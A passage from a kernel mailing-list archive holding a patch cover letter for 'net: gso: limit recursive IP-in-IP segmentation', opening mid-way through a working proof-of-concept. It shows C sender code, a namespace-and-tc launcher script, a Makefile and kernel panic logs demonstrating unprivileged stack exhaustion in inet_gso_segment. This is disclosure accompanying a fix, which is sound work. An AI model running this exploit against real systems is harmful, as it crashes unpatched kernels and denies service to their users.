#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef UDP_SEGMENT
#define UDP_SEGMENT 103
#endif
#ifndef SOL_UDP
#define SOL_UDP 17
#endif
struct ipv4_min {
uint8_t version_ihl;
uint8_t tos;
uint16_t tot_len;
uint16_t id;
uint16_t frag_off;
uint8_t ttl;
uint8_t protocol;
uint16_t check;
uint32_t saddr;
uint32_t daddr;
} __attribute__((packed));
static void fill_ipip(struct ipv4_min *iph, unsigned int id, uint8_t protocol)
{
memset(iph, 0, sizeof(*iph));
iph->version_ihl = 0x45;
iph->tot_len = htons(sizeof(*iph)); /* parser does not use this field */
iph->id = htons((uint16_t)id);
iph->ttl = 64;
iph->protocol = protocol;
iph->saddr = htonl(0x0a000001U);
iph->daddr = htonl(0x0a000002U);
}
int main(int argc, char **argv)
{
struct sockaddr_in bind_addr = { .sin_family = AF_INET };
struct sockaddr_in dst = { .sin_family = AF_INET };
struct msghdr msg = {0};
struct iovec iov;
unsigned char control[CMSG_SPACE(sizeof(uint16_t))];
struct cmsghdr *cm;
unsigned char *payload;
unsigned int depth, segsz, payload_len, i;
ssize_t ret;
int fd;
if (argc != 5) {
fprintf(stderr, "usage: %s DEST PORT DEPTH GSO_SIZE\n", argv[0]);
return 2;
}
depth = strtoul(argv[3], NULL, 0);
segsz = strtoul(argv[4], NULL, 0);
if (depth < 1 || depth > 3000 || segsz < 1 || segsz > 65535) {
fprintf(stderr, "invalid depth or GSO size\n");
return 2;
}
/*
* After tc changes the original inner IPv4 protocol UDP -> IPIP,
* the 8-byte UDP header and payload[0..11] are parsed as an IPv4
* header. Source port 0x4500 supplies version=4, IHL=5. payload[1]
* supplies protocol=IPIP. The explicit headers start at payload+12.
*/
payload_len = 12 + depth * sizeof(struct ipv4_min) + 64;
if (payload_len > 65507) {
fprintf(stderr, "payload too large: %u\n", payload_len);
return 2;
}
payload = calloc(1, payload_len);
if (!payload) {
perror("calloc");
return 1;
}
payload[0] = 64;
payload[1] = IPPROTO_IPIP;
for (i = 0; i < depth; i++)
fill_ipip((struct ipv4_min *)(payload + 12 + i * 20), i,
i + 1 == depth ? IPPROTO_UDP : IPPROTO_IPIP);
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0) {
perror("socket");
return 1;
}
bind_addr.sin_port = htons(0x4500);
bind_addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(fd, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0) {
perror("bind(0x4500)");
return 1;
}
if (inet_pton(AF_INET, argv[1], &dst.sin_addr) != 1) {
fprintf(stderr, "bad destination\n");
return 2;
}
dst.sin_port = htons((uint16_t)strtoul(argv[2], NULL, 0));
iov.iov_base = payload;
iov.iov_len = payload_len;
msg.msg_name = &dst;
msg.msg_namelen = sizeof(dst);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = control;
msg.msg_controllen = sizeof(control);
memset(control, 0, sizeof(control));
cm = CMSG_FIRSTHDR(&msg);
cm->cmsg_level = SOL_UDP;
cm->cmsg_type = UDP_SEGMENT;
cm->cmsg_len = CMSG_LEN(sizeof(uint16_t));
*(uint16_t *)CMSG_DATA(cm) = (uint16_t)segsz;
fprintf(stderr, "uid=%u euid=%u send UDP_SEGMENT payload=%u depth=%u gso_size=%u source_port=0x4500\n",
(unsigned)getuid(), (unsigned)geteuid(), payload_len, depth, segsz);
ret = sendmsg(fd, &msg, 0);
if (ret < 0) {
fprintf(stderr, "sendmsg: %s (%d)\n", strerror(errno), errno);
return 1;
}
fprintf(stderr, "sendmsg returned %zd\n", ret);
close(fd);
free(payload);
return ret == (ssize_t)payload_len ? 0 : 1;
}
------END poc_privilege_optimized.c--------
------BEGIN poc_privilege_optimized.sh------
#!/bin/sh
set -eu
PATH=/usr/sbin:/usr/bin:/sbin:/bin
export PATH
DEPTH=${1:-180}
GSO_SIZE=${2:-4096}
echo "launcher uid=$(id -u) gid=$(id -g)"
echo "status before unshare: $(awk '/^Uid:|^Gid:|^Cap/ {printf "%s ", $0}' /proc/self/status)"
exec unshare --user --map-root-user --net sh -eu -c '
echo "inside uid=$(id -u) gid=$(id -g)"
echo "uid_map: $(tr "\n" ";" </proc/self/uid_map)"
echo "gid_map: $(tr "\n" ";" </proc/self/gid_map)"
echo "status: $(awk '\''/^Uid:|^Gid:|^Cap/ {printf "%s ", $0}'\'' /proc/self/status)"
ip link add q7dummy type dummy
ip addr add 10.23.0.1/32 dev q7dummy
ip link set q7dummy up
ip route add 10.23.0.2/32 dev q7dummy
ip link add q7tun type ipip local 10.23.0.1 remote 10.23.0.2 dev q7dummy
ip addr add 198.18.7.1 peer 198.18.7.2 dev q7tun
ip link set q7tun up
# Make segmentation happen in software after the egress action. Offset 29
# is the protocol byte of the original inner IPv4 header (20 + 9).
ethtool -K q7dummy tso off gso off gro off sg off \
tx-ipxip4-segmentation off tx-udp-segmentation off
tc qdisc add dev q7dummy clsact
tc filter add dev q7dummy egress protocol ip pref 1 matchall \
action pedit munge offset 29 u8 set 4
./poc_privilege_optimized 198.18.7.2 9000 "$1" "$2"
' sh "$DEPTH" "$GSO_SIZE"
------END poc_privilege_optimized.sh--------
------BEGIN Makefile------
CC ?= gcc
CLANG ?= clang
KDIR ?=
BPF_CFLAGS ?= -O2 -g -target bpf -D__TARGET_ARCH_x86 -Wall -Wextra -I/usr/include/x86_64-linux-gnu $(if $(KDIR),-I$(KDIR)/tools/lib/bpf)
CFLAGS ?= -O2 -Wall -Wextra
INSERTED_IPS ?= 199
TRIGGER_PORT ?= 4242
all: poc tc_mutate.bpf.o
poc: poc.c
$(CC) $(CFLAGS) -o $@ $<
tc_mutate.bpf.o: tc_mutate.bpf.c
$(CLANG) $(BPF_CFLAGS) -DINSERTED_IPS=$(INSERTED_IPS) -DTRIGGER_PORT=$(TRIGGER_PORT) -c -o $@ $<
clean:
rm -f poc tc_mutate.bpf.o
------END Makefile--------
The crash excerpts below are from the unpatched 88c17de85ddb kernel. Both
were decoded with scripts/decode_stacktrace.sh and the matching unpatched
vmlinux. They show the original failure; they are not fixed-kernel logs.
----BEGIN crash log----
[namespace-only, UID 65534, unpatched 88c17de85ddb]
[ 11.336820] BUG: TASK stack guard page was hit at ffff9ab440aebff8 (stack is ffff9ab440aec000..ffff9ab440af0000)
[ 11.336823] Oops: stack guard page: 0000 [#1] SMP NOPTI
[ 11.336825] CPU: 0 UID: 65534 PID: 403 Comm: poc_privilege_o Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy)
[ 11.336826] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 11.336827] RIP: 0010:skb_copy_bits (net/core/skbuff.c:3061)
[ 11.336869] Call Trace:
[ 11.336882] <TASK>
[ 11.336884] __pskb_pull_tail (net/core/skbuff.c:2892 (discriminator 2))
[ 11.336885] ? skb_copy_bits (net/core/skbuff.c:3061)
[ 11.336886] inet_gso_segment (include/linux/skbuff.h:2873 (discriminator 1) include/linux/skbuff.h:2882 (discriminator 1) net/ipv4/af_inet.c:1379 (discriminator 1))
[ 11.336889] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 11.336891] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 11.336892] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 11.336893] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 11.336894] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 11.336896] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 11.336897] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 11.336898] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 11.336899] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 11.336901] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 11.336902] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 11.336903] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 11.337200] Kernel panic - not syncing: Fatal exception in interrupt
[BPF/veth, unpatched 88c17de85ddb]
[ 18.344957] BUG: TASK stack guard page was hit at ffff9d2180bb3fe8 (stack is ffff9d2180bb4000..ffff9d2180bb8000)
[ 18.344962] Oops: stack guard page: 0000 [#1] SMP NOPTI
[ 18.344964] CPU: 1 UID: 0 PID: 433 Comm: poc Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy)
[ 18.344966] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 18.344967] RIP: 0010:inet_gso_segment (net/ipv4/af_inet.c:1404 (discriminator 1))
[ 18.345011] CR2: ffff9d2180bb3fe8 CR3: 000000000dcd8003 CR4: 0000000000370ef0
[ 18.345012] Call Trace:
[ 18.345035] <TASK>
[ 18.345036] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345039] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345040] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345042] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345043] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345045] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345047] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345048] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345050] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345051] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345053] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345054] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345056] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345057] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345059] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345060] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345281] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345282] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345284] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345285] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345287] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345288] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345290] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345291] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345293] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345295] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345296] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345298] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345299] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345301] inet_gso_segment (net/ipv4/af_inet.c:1411)
[ 18.345302] skb_mac_gso_segment (net/core/gso.c:53)
[ 18.345305] __skb_gso_segment (net/core/gso.c:124)
[ 18.345306] validate_xmit_skb.isra.0 (include/net/gso.h:83 net/core/dev.c:4044)
[ 18.345309] __dev_queue_xmit (net/core/dev.c:4865)
[ 18.345312] ip_finish_output2 (include/linux/netdevice.h:3446 include/net/neighbour.h:544 include/net/neighbour.h:558 net/ipv4/ip_output.c:236)
[ 18.345315] ip_output (net/ipv4/ip_output.c:443 net/ipv4/ip_output.c:324 include/linux/netfilter.h:307 net/ipv4/ip_output.c:437)
[ 18.345317] ? __pfx_ip_finish_output (include/net/dst.h:470 (discriminator 7))
[ 18.345318] iptunnel_xmit (net/ipv4/ip_tunnel_core.c:97)
[ 18.345321] ip_tunnel_xmit (net/ipv4/ip_tunnel.c:848)
[ 18.345323] ipip_tunnel_xmit (net/ipv4/ipip.c:316)
[ 18.345325] dev_hard_start_xmit (include/linux/netdevice.h:5400 include/linux/netdevice.h:5409 net/core/dev.c:3889 net/core/dev.c:3905)
[ 18.345326] ? validate_xmit_skb.isra.0 (net/core/dev.c:4067)
[ 18.345328] __dev_queue_xmit (net/core/dev.c:4878)
[ 18.345375] Kernel panic - not syncing: Fatal exception in interrupt
[ 18.346542] Kernel Offset: 0x38800000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[ 19.982144] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]---
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
net: gso: limit recursive IP-in-IP segmentation
include/net/gso.h | 9 +++++++++
net/core/gso.c | 1 +
net/ipv4/af_inet.c | 2 ++
net/ipv6/ip6_offload.c | 2 ++
4 files changed, 14 insertions(+)
--
2.43.0
next reply other threads:[~2026-09-23 14:01 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-09-23 14:01 Zihan Xi [this message]
2026-09-23 14:01 ` [PATCH net v5 1/1] net: gso: limit recursive IP-in-IP segmentation Zihan Xi
2026-09-23 15:26 ` Willem de Bruijn
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1790157745.git.zihanx@nebusec.ai \
--to=zihanx@nebusec.ai \
--cc=davem@davemloft.net \
--cc=dsahern@kernel.org \
--cc=edumazet@google.com \
--cc=horms@kernel.org \
--cc=idosch@nvidia.com \
--cc=kees@kernel.org \
--cc=kuba@kernel.org \
--cc=kuniyu@google.com \
--cc=linux-kernel@vger.kernel.org \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=richardbgobert@gmail.com \
--cc=willemb@google.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.